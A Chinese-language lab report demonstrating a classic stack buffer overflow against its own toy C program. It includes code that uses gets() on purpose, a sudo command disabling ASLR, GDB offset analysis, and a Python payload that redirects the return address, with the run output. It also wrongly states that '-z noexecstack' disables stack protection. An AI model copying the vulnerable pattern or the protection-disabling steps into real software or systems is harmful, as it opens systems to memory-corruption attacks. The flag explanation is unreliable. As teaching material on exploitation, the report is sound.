模拟栈溢出攻击 实验报告

C语言受害程序

```c
#include <stdio.h>
#include <stdlib.h>

void attack_function() {
    printf("Attack success!\n");
}
void vulnerable_function() {
    char buffer[64];
    printf("input: ");
    gets(buffer);  // 这是一个不安全的函数
    printf("output: %s\n", buffer);
}

int main() {
    vulnerable_function();
    return 0;
}
```

`vulnerable_function`：受害者程序，包含不安全的 `gets` 函数，

`attack_function`：目标函数

关闭内存防御方案（ASLR、Stack Canary等）的条件下编译受害程序

使用指令 `gcc -std=c++11 -fno-stack-protector -z noexecstack -o vulnerable_program main.cpp -g` 编译程序，其中 `-z noexecstack` 和 `-fno-stack-protector` 关闭了栈保护机制，再用指令 `sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'` 关闭栈随机化保护。

利用GDB观察受害函数的地址，并计算覆盖栈帧返回地址需要的“偏移量”

```
(gdb) info frame
Stack level 0, frame at 0x7fffffffd4a0:
 rip = 0x5555555551ac in vulnerable_function (main.cpp:9); saved rip =
0x5555555551f1
 called by frame at 0x7fffffffd4b0
 source language c++.
 Arglist at 0x7fffffffd448, args:
 Locals at 0x7fffffffd448, Previous frame's sp is 0x7fffffffd4a0
 Saved registers:
  rbp at 0x7fffffffd490, rip at 0x7fffffffd498

(gdb) info register rbp
rbp            0x7fffffffd490      0x7fffffffd490
(gdb) info register rsp
rsp            0x7fffffffd450      0x7fffffffd450
```

```
(gdb) p &attack_function
$2 = (void (*)(void)) 0x555555555189 <attack_function()>
```

在函数中打断点调试可以看到，rbp和rsp地址相差 64，而要覆盖返回地址，还需要加上rbp本身的8位，因此偏移量为72，受害者函数 `attack_function` 地址为 0x555555555189

编写恶意程序，构造非法输入

我使用了一个简单的python脚本来构造恶意输入

```python
address = 0x0000555555555189
payload_size = 64  # 根据缓冲区大小设置
padding = b'A' * payload_size + b'B' * 8  # 创建填充
address_bytes = address.to_bytes(8, byteorder='little')  # 将地址转换为小端字节序

with open("exploit.bin", "wb") as f:
    f.write(padding)  # 写入填充
    f.write(address_bytes)  # 写入地址
```

运行 `python3 attack.py` 可以将带有恶意攻击地址的二进制流输入到 `exploit.bin` 中

执行恶意程序，恶意执行目标函数

```
root@DESKTOP-PL4SP56 ~/CF2024/stackoverflow ./vulnerable_program < exploit.bin
input: output: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB`QUUUU
Attack success!
[1]    4905 segmentation fault  ./vulnerable_program < exploit.bin
```

可以看到，返回地址被成功覆盖，输出 “Attack success” 字样